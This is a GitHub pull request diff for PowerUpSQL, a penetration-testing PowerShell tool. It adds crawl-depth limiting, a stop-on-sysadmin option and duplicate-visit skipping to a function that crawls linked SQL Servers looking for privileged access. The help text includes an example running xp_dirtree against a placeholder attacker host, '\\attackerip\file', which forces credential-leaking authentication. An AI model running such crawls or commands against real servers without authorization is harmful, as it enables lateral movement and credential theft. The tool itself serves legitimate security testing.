Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add params (MaxDepth and StopOnSysAdmin) and perf increases to Get-SQLServerLinkCrawl #77

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
46 changes: 43 additions & 3 deletions PowerUpSQL.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -15228,6 +15228,10 @@ Function Get-SQLServerLinkCrawl{
Custom SQL query to run. If QueryTarget isn's given, this will run on each server.
PARAMETER QueryTarget
Link to run SQL query on.
.PARAMETER MaxDepth
Max crawl depth.
.PARAMETER StopOnSysAdmin
Stop crawl upon finding a SysAdmin link.
.PARAMETER Export
Convert collected data to exportable format.
.Example
Expand All @@ -15248,8 +15252,11 @@ Function Get-SQLServerLinkCrawl{
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree 'c:\temp'" -Export | format-table
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree '\\attackerip\file'" -Export | format-table
.Example
Crawl linked servers and return a list of databases for each one, then export to a to text objects for reporting.
Crawl linked servers and return a list of databases for each one, then export to a to text objects for reporting.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" -Export | where name -ne "broken link" | sort name | Format-Table
.EXAMPLE
Crawl linked servers up to a depth of 2, stopping upon finding a SysAdmin.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -MaxDepth 2 -StopOnSysAdmin
#>
[CmdletBinding()]
Param(
Expand Down Expand Up @@ -15287,6 +15294,14 @@ Function Get-SQLServerLinkCrawl{
HelpMessage="Link to run SQL query on.")]
[string]$QueryTarget,

[Parameter(Mandatory=$false,
HelpMessage="Max crawl depth.")]
[int]$MaxDepth,

[Parameter(Mandatory=$false,
HelpMessage="Stop crawl upon finding a SysAdmin link.")]
[Switch]$StopOnSysAdmin,

[Parameter(Mandatory=$false,
HelpMessage="Convert collected data to exportable format.")]
[switch]$Export
Expand All @@ -15300,6 +15315,8 @@ Function Get-SQLServerLinkCrawl{

$List += $Server
$SqlInfoTable = New-Object System.Data.DataTable

$Visited = [System.Collections.Generic.HashSet[string]]::new()
}

Process
Expand All @@ -15309,22 +15326,45 @@ Function Get-SQLServerLinkCrawl{
$i--
foreach($Server in $List){
if($Server.Instance -eq "") {
$List = (Get-SQLServerLinkData -list $List -server $Server -query $Query -QueryTarget $QueryTarget)
$Path = $Server.Path -join ' -> '
if ($MaxDepth -ne 0 -and ($Server.Path.Count - 1) -gt $MaxDepth) {
Write-Verbose "$Path exceeds max depth. Skipping..."
continue
}

$TempList = (Get-SQLServerLinkData -list $List -server $Server -query $Query -QueryTarget $QueryTarget)
if ($Server.Instance -ne "Broken Link") {
# if we've already been to this server with the same user, there's nothing new to log or find
$key = "{0}:{1}" -f $Server.Instance, $Server.User
if ($Visited.Contains($key)) {
Write-Verbose "$Path has already been traversed with $($Server.User). Skipping..."
continue
}
$Visited.Add($key) | Out-Null
}
$List = $TempList
$i++

# Verbose output
Write-Verbose "--------------------------------"
Write-Verbose " Server: $($Server.Instance)"
Write-Verbose "--------------------------------"
Write-Verbose " - Link Path to server: $($Server.Path -join ' -> ')"
Write-Verbose " - Link Path to server: $Path"
Write-Verbose " - Link Login: $($Server.User)"
Write-Verbose " - Link IsSysAdmin: $($Server.Sysadmin)"
Write-Verbose " - Link Count: $($Server.Links.Count)"
Write-Verbose " - Links on this server: $($Server.Links -join ', ')"

if ($StopOnSysAdmin -and $Server.Sysadmin -eq 1) {
Write-Verbose "Found a SysAdmin, stopping..."
return $Server
}
}
}
}

$List = $List | Where-Object { $MaxDepth -eq 0 -or ($_.Path.Count - 1) -le $MaxDepth }

if($Export){
$LinkList = New-Object System.Data.Datatable
[void]$LinkList.Columns.Add("Instance")
Expand Down